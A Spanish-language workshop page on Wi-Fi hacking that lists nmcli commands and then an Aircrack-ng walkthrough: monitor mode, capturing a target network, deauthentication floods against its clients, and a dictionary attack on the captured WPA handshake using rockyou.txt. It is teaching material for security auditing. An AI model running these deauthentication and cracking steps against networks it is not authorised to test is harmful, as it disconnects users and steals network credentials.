MatthyGD
~/master/atrium/temario_08_hacking_wifi.md
Volver

Taller Hacking - Hacking Wi-Fi por Carmelo Garcia (Aka MatthyGD)


Informe Técnico: Hacking Wi-Fi

Índice

Redes Wi-Fi

  1. Que son las Redes Wi-Fi

Interactuando con las Redes Wi-Fi

  1. Enumerando Redes Wi-Fi
  2. Conectándonos a una Red Wi-Fi
  3. Desconectándonos de una Red Wi-Fi

Auditando una Red Wi-Fi

  1. Aircrack-NG

Redes Wi-Fi

Que son las Redes Wi-Fi

Una red Wi-Fi es una tecnología de comunicación inalámbrica que permite conectar dispositivos electrónicos (celulares, computadoras, televisores) a internet o entre sí sin cables Utiliza ondas de radio, generalmente en frecuencias de 2.4 GHz, 5 GHz o 6 GHz, para transmitir datos desde un router o punto de acceso hacia los dispositivos.


Interactuando con las Redes Wi-Fi

Enumerando Redes Wi-Fi

Si queremos enumerar las redes disponibles cerca de nuestro entorno usaremos el siguiente comando:

Script: <- Enumeramos las redes disponibles.

nmcli dev wifi list

Conectándonos a una Red Wi-Fi

Si queremos conectarnos a una Red Wi-Fi usaremos el siguiente comando, cabe recordar que posteriormente a ello nos pedirán la contraseña si es que tiene una.

Script: <- Nos conectamos a las redes disponibles.

nmcli --ask dev wifi connect <BSSID de la Red que queramos entrar>

Desconectándonos de una Red Wi-Fi

Si queremos desconectarnos de una Red Wi-Fi haremos el siguiente comando:

Script: <- Nos desconectamos de la red Wi-Fi.

nmcli dev disconnect iface wlan0

Auditando una Red Wi-Fi

Aircrack-NG

Que es Aircrack-NG

Aircrack-ng es un conjunto de herramientas de seguridad para redes inalámbricas (Wi-Fi) que se utiliza para evaluar la seguridad de redes inalámbricas y realizar pruebas de penetración. Es una suite de software que incluye varias utilidades para capturar paquetes, inyectar tráfico, descifrar contraseñas WEP y WPA/WPA2-PSK, y analizar redes Wi-Fi.

Paso 1 - Ponemos nuestra Antena Wi-Fi en modo Monitor

Al principio tenemos procesos corriendo que nos dificulta la labor de obtener el HandShake de mas adelante además de obtener el Modo: “Monitor”, para ello haremos el siguiente comando.

Script: <- Levantamos la Interfaz de Red. Matamos los procesos que hacen conflictos con nuestra Antena Wi-Fi y habilitamos nuestra Antena Wi-Fi en modo: “Monitor”.

ifconfig wlan0 down && ifconfig wlan0 up && airmon-ng check kill && airmon-ng start wlan0

Paso 2 - Escaneamos las Redes Wi-Fi de nuestro alrededor

Para escanear las redes Wi-Fi de nuestro alrededor usaremos el siguiente comando:

Recordatorio

Script: <- Escaneamos las Redes Wi-Fi de nuestro alrededor.

airodump-ng wlan0

Paso 3 - Contemplamos los dispositivos que están interactuando con la Red Wi-Fi elegida

Ahora tenemos que obtener los dispositivos que se están interactuando con la Red Wi-Fi para posteriormente desautenticar al dispositivo elegido.

Recordatorio

Script: <- Contemplamos los dispositivos que se autentican con la Red Wi-Fi elegida.

airodump-ng --bssid <BSSID de la Red> -c <Canal de la Red> -w captura wlan0

Paso 4 - Desautenticamos al dispositivo elegido

Cuando un cliente se reconecta a la red, envía un handshake (apretón de manos cifrado) que al tenerlo de nuestro lado podemos probarlo posteriormente con un diccionario y obtener las credenciales del acceso Wi-Fi.

Hacia todos los clientes conectados a la red (Recomendado)

Script: <- Hacemos la desautenticacion.

aireplay-ng -0 50 -a <BSSID de la Red> wlan0
Hacia una cliente (No recomendado)

Script: <- Hacemos la desautenticacion.

aireplay-ng -0 50 -a <BSSID de la Red> -c <Station del dispositivo elegido> wlan0
Cambiar de Canal si es que no estamos en el correcto

En ocasiones debemos elegir el canal donde esta el AP objetivo, para ello haremos el siguiente comando:

Script: <- Elegimos el canal correcto.

airmon-ng check kill && airmon-ng start wlan0 <CH> && aireplay-ng -0 50 -a <BSSID de la Red> wlan0
Recordatorio

Si en las ventanas anteriores donde se ubican los dispositivos pone: “PMKID” significa que tenemos el HandShake:

Paso 5 - Hacemos el ataque de Diccionario al archivo con el HandShake

Ya tenemos todo listo con el archivo necesario para hacer el ataque de Diccionario al archivo con el HandShake, para ello apuntamos al archivo con la extensión: “.cap” pasándole un diccionario como se muestra a continuación:

Script: <- Hacemos el ataque de Diccionario al archivo con el HandShake.

aircrack-ng -w /usr/share/wordlists/rockyou.txt <Archivo>.cap

Si todo sale correctamente y la contraseña de la Red Wi-Fi esta figurada dentro del diccionario obtendremos las credenciales de acceso.

Recomendaciones Finales